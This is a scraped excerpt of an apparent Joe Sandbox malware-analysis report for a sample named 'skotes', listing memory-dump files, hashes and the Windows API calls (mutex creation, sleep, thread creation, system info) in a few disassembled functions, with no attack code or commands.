Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2/
API String ID: 396266464-3528799830
Opcode ID: 9a48988f74985fb42a134eda376d6a073b7dabd2a623da8eb5cd5ef504f8e619
Instruction ID: 8e441ad2e5042a85f2bbae556f3c31da8d6a3d552de0ffb5945c4d57cba3670c
Opcode Fuzzy Hash: 9a48988f74985fb42a134eda376d6a073b7dabd2a623da8eb5cd5ef504f8e619
Instruction Fuzzy Hash: DF316831A243009BFF08EB7CDD89BADF776EBC2314F248218E015972D1CB7599A48692

Function 0029A7B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0029A7BA
Sleep.KERNELBASE(00000064,?), ref: 0029A963
CreateMutexA.KERNELBASE(00000000,00000000,002F3254), ref: 0029A981

Strings

T2/, xrefs: 0029A970

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2/
API String ID: 396266464-3528799830
Opcode ID: 041d5c2edafae7b57cedb25aec282fe0141c7c91952c68de76ef0409c1cf4b35
Instruction ID: 984fa706e4afbf773a9f939d32a70f9a5a1e17fdfd2302682f1fc654c5c6a3bb
Opcode Fuzzy Hash: 041d5c2edafae7b57cedb25aec282fe0141c7c91952c68de76ef0409c1cf4b35
Instruction Fuzzy Hash: 1F316A31B243048BFF08DB78DD8DBADB766FBC1314F208218E405973D1CB3599A48692

Function 0029A960 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000064,?), ref: 0029A963
CreateMutexA.KERNELBASE(00000000,00000000,002F3254), ref: 0029A981

Strings

T2/, xrefs: 0029A970

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2/
API String ID: 1464230837-3528799830
Opcode ID: bbed71a7cd5f2fc85f716d8e9dad07f029eafa836f727f985674f4d8a68a9c36
Instruction ID: fe5b03e1b49b894cbb3303e396444087416358d42a4bcf842717846756e4a896
Opcode Fuzzy Hash: bbed71a7cd5f2fc85f716d8e9dad07f029eafa836f727f985674f4d8a68a9c36
Instruction Fuzzy Hash: CCE026116BC30195FF00B668695DB3A6204D7E1704F224828EA04C60D089115C98C423

Function 002A6D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 002A6D11
Sleep.KERNELBASE(00007530), ref: 002A6D25

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 6014dec17f3df68f63b46e3f73487cb20e8df4ab7058353112e9f16e29ad94b1
Instruction ID: 3673bcb10c4700ef705b948f477f60f1445dfbb93dfaf19e91725b72931e0358
Opcode Fuzzy Hash: 6014dec17f3df68f63b46e3f73487cb20e8df4ab7058353112e9f16e29ad94b1
Instruction Fuzzy Hash: 83D012307E4314B7E12012206C4FF66AA109B0BF51F28084073183E0D08AE030004698

Function 00298380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00298524

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 01abd2e3dec180d7be18da31ec647093816059bea154e997144d045dea4525b2
Instruction ID: 46d2bec3d3784d5b2cf8cc1cc852d6eace2878314265a40bbb110d6b23cd3fc0
Opcode Fuzzy Hash: 01abd2e3dec180d7be18da31ec647093816059bea154e997144d045dea4525b2
